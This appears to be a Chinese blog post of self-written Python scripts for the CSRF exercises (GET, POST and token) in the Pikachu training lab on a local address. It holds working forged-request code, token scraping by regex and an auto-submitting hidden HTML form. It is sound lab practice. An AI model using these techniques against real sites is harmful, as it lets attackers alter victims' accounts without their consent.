当前位置: 首页 > news >正文

pikachu自编CSRF(GET),CSRF(POST),CSRF(token)

#与get相似,只是修改了一些请求方式
#这个漏洞产生的验证就是token实时验证,以及前端存在的Cookie验证,需要验证两个

自编CSRF(GET),

import requests from urllib.parse import urlencode target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php" check_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get.php" #后续检测是否修改 payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF执行成功", "email":"123.COM", "submit":"submit" } query_str = urlencode(payload)#因为+号前后要保持类型一致,需要对字典进行urlencode()编码一下 alert_target = target_url + "?" + query_str print(f"需要发送给用户的链接为:{alert_target}") #模仿用户被攻击 #用户点击被特意构造的payload headers = { "Cookie":"PHPSESSID=df0u2o787mgfgc0avf392ksd7g" } requests.get(target_url, params=payload, headers=headers ) resp = requests.get(check_url,headers=headers) print("[+] 注入完成 ") print("[+] 检查注入是否成功: ","CSRF执行成功" in resp.text)

CSRF(POST),

#与get相似,只是修改了一些请求方式 import requests target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" get_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post.php" payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF的POST攻击", "email":"qq.com", "submit":"submit" } #构造攻击的url,模仿被攻击 Session = requests.Session() headers ={ "Cookie":"PHPSESSID=49mmcmofpdtoh0vn7jvkoj13r2" } requests.post(target_url, data=payload, headers=headers) # resp = requests.get(get_url, headers=headers) print("[+] 攻击完成 ") if "123456" in resp.text: print("[+] 查看是否注入成功! ") else: print("[-] 注入失败 !" )

CSRF(token)

#这个漏洞产生的验证就是token实时验证,以及前端存在的Cookie验证,需要验证两个 """ get构造 # 拼接成可攻击的URL evil_url = target_url + "?" + urlencode(payload) payload = target_ul + "?" + urlencode(payload) """ import requests import re # target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get_edit.php" # # payload = { # "sex":"girl", # "phonenum":"123456", # "add":"CSRF-token", # "email":"321@qq.com", # "submit":"submit" # } # # html = ''' # <form action="http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> # <input type="hidden" name="sex" value="girl"> # <input type="hidden" name="phonenum" value="123456"> # <input type="hidden" name="add" value="CSRF-POST"> # <input type="hidden" name="email" value="123@qq.com"> # <input type="hidden" name="submit" value="submit"> # </form> # <script>document.forms[0].submit()</script> # ''' # # with open("CSRF_token.html","w",encoding = "utf-8") as f: # f.write(html) # # print("[+] 攻击脚本已写好CSRF_token.html") #假设中招了 target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get_edit.php" get_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get.php" session = requests.Session() headers = { "Cookie": "PHPSESSID=if9t2mbpc5c5rf83p1slcn7748" } session.get(get_url, headers=headers) target_get = session.get(url=target_url, headers=headers) token = re.search(r'name="token" value="(.*?)"',target_get.text).group(1) print(f"[+] 已获取实时Token:{token}") payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF-token", "email":"321@qq.com", "token":token, "submit":"submit" } # resp = requests.get(get_url,headers=headers) session.post(url=target_url, data=payload, headers=headers) session.get(target_url, headers=headers) resp = session.get(url=get_url, headers=headers) print("[+] 注入成功") print("[+] 检查测是否正常注入: ", "CSRF-token" in resp.text)
http://www.jsqmd.com/news/716196/

相关文章:

  • 5分钟掌握Audio Slicer:免费高效的音频智能分割终极指南
  • 从微信语音到VoNR:深入聊聊5G时代‘打电话’背后的QoS优先级战争
  • 3分钟掌握Win11Debloat:一键优化Windows系统的终极指南
  • 自媒体灵感来了记不住?我用这个方法攒了500个选题
  • 合规+高效+省心:彼岸空间核心业务结构解析 - 资讯焦点
  • 终极B站字幕下载方案:告别手动转录,3分钟获取任何视频字幕
  • 从硅谷鞋神到算力新贵,Allbirds转型AI是咸鱼翻身还是泡沫经济?
  • 2026年中效过滤器品牌厂家推荐:中效袋式过滤器/中效板式过滤器/无隔板中效过滤器/组合式中效过滤器/中效玻纤袋式过滤器,环保净化与通风过滤优质品牌解析 - 速递信息
  • R语言做元分析,别再手动算权重了!用meta包5分钟搞定森林图和异质性检验
  • 2026学生党小提琴选购实测:宿舍/新手/考级全场景选购指南~
  • Translumo:终极免费实时屏幕翻译神器,打破语言障碍的完整解决方案
  • 智能制造系统推广的核心的十个关键问题
  • 毕业生降AI怎么省钱?综合性价比高的5款主流工具实测推荐! - 我要发一区
  • 香港启世集团开放能源产能配额预约! - 速递信息
  • 高速DSP处理器芯片测试:BGA475/BGA621测试座的精准对位
  • 【变压器】中压直流变压器松磁耦合结构分析Matlab实现
  • Win11Debloat:Windows 11终极优化工具,5步彻底清理系统冗余组件
  • 别再让DC/PT乱报时序了!手把手教你用set_case_analysis搞定时钟选择器与扫描链
  • 手机变Linux服务器:用Termux在Android上搭建个人开发环境(保姆级配置流程)
  • 从概念到规模化:2026年AI在工业自动化中的四大核心战场
  • 3步掌握DownKyi:B站视频批量下载与8K画质处理终极指南
  • 深度解析OfflineInsiderEnroll:Windows Insider离线通道管理的注册表技术方案
  • 不达标退款的降AI工具盘点:5款承诺过AIGC检测的高性价比之选! - 我要发一区
  • 2026年北京GEO优化公司实力横评|AI流量营销落地实战选型全指南 - GEO优化
  • 多Agent系统设计与协作机制:从“单打独斗“到“团队协作“
  • Python国产化迁移实战手册(含ODBC/JDBC/SQLAlchemy三层适配对照表)
  • 【Linux从入门到精通】第28篇:文本处理三剑客(中)——sed 流编辑器
  • 自媒体人,你的文案差在哪?可能只差一张图
  • 大模型风口来袭!小白程序员如何精准入局?高薪岗位+收藏指南助你抓住机遇!
  • **在博客里安放一个不被打扰的自己** - 年度推荐企业名录